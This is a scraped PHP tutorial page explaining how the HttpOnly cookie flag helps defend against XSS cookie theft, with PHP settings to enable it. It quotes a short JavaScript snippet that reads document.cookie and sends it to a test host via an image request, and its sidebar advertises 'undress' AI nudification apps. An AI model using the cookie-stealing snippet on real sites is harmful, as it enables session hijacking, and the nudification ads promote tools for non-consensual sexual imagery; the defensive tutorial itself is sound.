Rumah pembangunan bahagian belakang tutorial php xss防御之php利用httponly防xss攻击_php实例

xss防御之php利用httponly防xss攻击_php实例

Jun 07, 2016 pm 05:21 PM
httponly serangan xss

xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。

如下js获取cookie信息:

复制代码 代码如下:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;

一般cookie都是从document对象中获取的,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了。

PHP设置HttpOnly

复制代码 代码如下:

//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);

//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

对于PHP5.1以前版本的PHP通过:

复制代码 代码如下:

header("Set-Cookie: hidden=value; httpOnly");

最后,HttpOnly不是万能的!

Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn

Alat AI Hot

Undresser.AI Undress

Undresser.AI Undress

Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover

AI Clothes Remover

Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool

Undress AI Tool

Gambar buka pakaian secara percuma

Clothoff.io

Clothoff.io

Penyingkiran pakaian AI

AI Hentai Generator

AI Hentai Generator

Menjana ai hentai secara percuma.

Artikel Panas

R.E.P.O. Kristal tenaga dijelaskan dan apa yang mereka lakukan (kristal kuning)
2 minggu yang lalu By 尊渡假赌尊渡假赌尊渡假赌
Repo: Cara menghidupkan semula rakan sepasukan
4 minggu yang lalu By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: Cara mendapatkan biji gergasi
3 minggu yang lalu By 尊渡假赌尊渡假赌尊渡假赌

Alat panas

Notepad++7.3.1

Notepad++7.3.1

Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina

SublimeText3 versi Cina

Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1

Hantar Studio 13.0.1

Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6

Dreamweaver CS6

Alat pembangunan web visual

SublimeText3 versi Mac

SublimeText3 versi Mac

Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Bagaimana untuk melindungi daripada serangan skrip silang tapak (XSS) menggunakan PHP Bagaimana untuk melindungi daripada serangan skrip silang tapak (XSS) menggunakan PHP Jun 29, 2023 am 10:46 AM

Cara Menggunakan PHP untuk Mempertahankan Serangan Cross-Site Scripting (XSS) Dengan perkembangan pesat Internet, serangan Cross-SiteScripting (XSS) adalah salah satu ancaman keselamatan rangkaian yang paling biasa. Serangan XSS terutamanya mencapai tujuan mendapatkan maklumat sensitif pengguna dan mencuri akaun pengguna dengan menyuntik skrip berniat jahat ke dalam halaman web. Untuk melindungi keselamatan data pengguna, pembangun harus mengambil langkah yang sesuai untuk mempertahankan diri daripada serangan XSS. Artikel ini akan memperkenalkan beberapa teknik PHP yang biasa digunakan untuk mempertahankan diri daripada serangan XSS

Bagaimana Codeql menganalisis masalah kuki tidak mendayakan http sahaja Bagaimana Codeql menganalisis masalah kuki tidak mendayakan http sahaja May 17, 2023 pm 05:25 PM

Prakata Hari ini kami menggunakan codeql untuk menganalisis isu keselamatan seperti "cookie is not enabled httponly", dengan itu memperdalam penggunaan codeql kami. Jika responsnya baik, anda boleh mempertimbangkan untuk menerokai kelemahan lain dalam Vulnerability-goapp. Apabila menganalisis program go, anda juga mesti memuat turun objek audit perihalan codeql-go Vulnerability-goapp: VulnerablegolangWebapplicationforeducation. Pengubahsuaian: Oleh kerana semua kuki dalam projek ini tidak ditetapkan kepada http-sahaja, tiada perbandingan, jadi kami perlu mengubah suainya terlebih dahulu. dalam beberapa cookies

Bagaimanakah kelemahan XSS berfungsi? Bagaimanakah kelemahan XSS berfungsi? Feb 19, 2024 pm 07:31 PM

Apakah prinsip serangan XSS? Contoh kod khusus diperlukan Dengan populariti dan perkembangan Internet, keselamatan aplikasi Web secara beransur-ansur menjadi tumpuan perhatian. Antaranya, Cross-SiteScripting (pendek kata XSS) ialah kelemahan keselamatan biasa yang mesti diberi perhatian oleh pembangun web. Serangan XSS dilakukan dengan menyuntik kod skrip berniat jahat ke dalam halaman Web dan melaksanakannya dalam penyemak imbas pengguna Ini membolehkan penyerang mengawal pelayar pengguna dan mendapatkan maklumat sensitif pengguna.

Bagaimana untuk menetapkan HttpOnly Cookie di Java? Bagaimana untuk menetapkan HttpOnly Cookie di Java? Apr 22, 2023 pm 06:37 PM

Httponlycookie ialah penyelesaian keselamatan kuki. Dalam penyemak imbas yang menyokong httponlycookie (IE6+, FF3.0+), jika atribut "httponly" ditetapkan dalam kuki, skrip JavaScript tidak akan dapat membaca maklumat kuki, yang boleh menghalang serangan XSS dengan berkesan dan menjadikan aplikasi tapak web lebih banyak. selamat. Walau bagaimanapun, kuki J2EE4 dan J2EE5 tidak menyediakan kaedah untuk menetapkan atribut httponly, jadi jika anda perlu menetapkan atribut httponly, anda perlu mengendalikannya sendiri. importjavax.servlet.http.Cookie;importjavax.serv

Penapisan data PHP: menghalang serangan XSS dan CSRF Penapisan data PHP: menghalang serangan XSS dan CSRF Jul 29, 2023 pm 03:33 PM

Penapisan Data PHP: Mencegah Serangan XSS dan CSRF Dengan perkembangan Internet, keselamatan rangkaian telah menjadi salah satu tumpuan perhatian orang ramai. Dalam pembangunan laman web, adalah sangat penting untuk menapis dan mengesahkan data yang diserahkan pengguna, terutamanya untuk mencegah serangan XSS (serangan skrip silang tapak) dan CSRF (serangan pemalsuan permintaan silang tapak). Artikel ini akan memperkenalkan cara menggunakan PHP untuk menghalang kedua-dua kelemahan keselamatan biasa ini dan menyediakan beberapa kod sampel untuk rujukan. Mencegah serangan XSS Serangan XSS merujuk kepada penyerang berniat jahat yang menyuntik skrip atau kod berniat jahat untuk diusik

Isu dan penyelesaian keselamatan rangkaian biasa dalam pembangunan Java Isu dan penyelesaian keselamatan rangkaian biasa dalam pembangunan Java Oct 09, 2023 pm 06:36 PM

Ringkasan isu dan penyelesaian keselamatan rangkaian biasa dalam pembangunan Java: Dengan popularisasi Internet, isu keselamatan rangkaian telah menjadi semakin menonjol. Semasa pembangunan Java, kita perlu mempertimbangkan cara melindungi keselamatan komunikasi rangkaian. Artikel ini akan memperkenalkan beberapa masalah keselamatan rangkaian biasa dan menyediakan penyelesaian yang sepadan serta contoh kod. 1. Serangan skrip silang tapak (XSS) Serangan XSS merujuk kepada kaedah serangan yang mendapatkan maklumat sensitif pengguna dengan menyuntik skrip berniat jahat ke dalam halaman web. Untuk mengelakkan serangan XSS, kami boleh menggunakan semakan input biasa

Pencegahan serangan penskripan tapak (XSS) dalam Go: amalan terbaik dan petua Pencegahan serangan penskripan tapak (XSS) dalam Go: amalan terbaik dan petua Jun 17, 2023 pm 12:46 PM

Dengan perkembangan pesat Internet, isu keselamatan laman web telah menjadi masalah utama dalam dunia dalam talian. Serangan skrip silang tapak (XSS) ialah kelemahan keselamatan biasa yang mengeksploitasi kelemahan tapak web untuk menyuntik skrip berniat jahat ke dalam halaman web untuk mencuri dan mengganggu maklumat pengguna. Sebagai bahasa pengaturcaraan yang cekap dan selamat, bahasa Go memberikan kami alat dan teknik yang berkuasa untuk mencegah serangan XSS. Artikel ini akan memperkenalkan beberapa amalan dan teknik terbaik untuk membantu pembangun bahasa Go mencegah dan menyelesaikan serangan XSS dengan berkesan. untuk semua input

Bagaimana untuk mengelakkan suntikan SQL dan serangan XSS dalam pembangunan bahasa PHP? Bagaimana untuk mengelakkan suntikan SQL dan serangan XSS dalam pembangunan bahasa PHP? Jun 09, 2023 pm 06:27 PM

Apabila Internet semakin digunakan secara meluas, isu keselamatan menjadi semakin ketara. Dalam pembangunan PHP, suntikan SQL dan serangan XSS adalah dua isu keselamatan yang paling biasa. Artikel ini menerangkan cara untuk mengelakkan kedua-dua serangan. 1. Apakah suntikan SQL? Suntikan SQL merujuk kepada penyerang yang mengeksploitasi kelemahan aplikasi web untuk menyebabkan pelayan pangkalan data berjalan dengan cara yang melebihi niat reka bentuk asal dengan memasukkan arahan SQL. Penyerang boleh menggunakan kelemahan ini untuk melakukan operasi berniat jahat, seperti membaca dan menulis data, mendapatkan keistimewaan pentadbir, dsb. 2. Cara mengelak

See all articles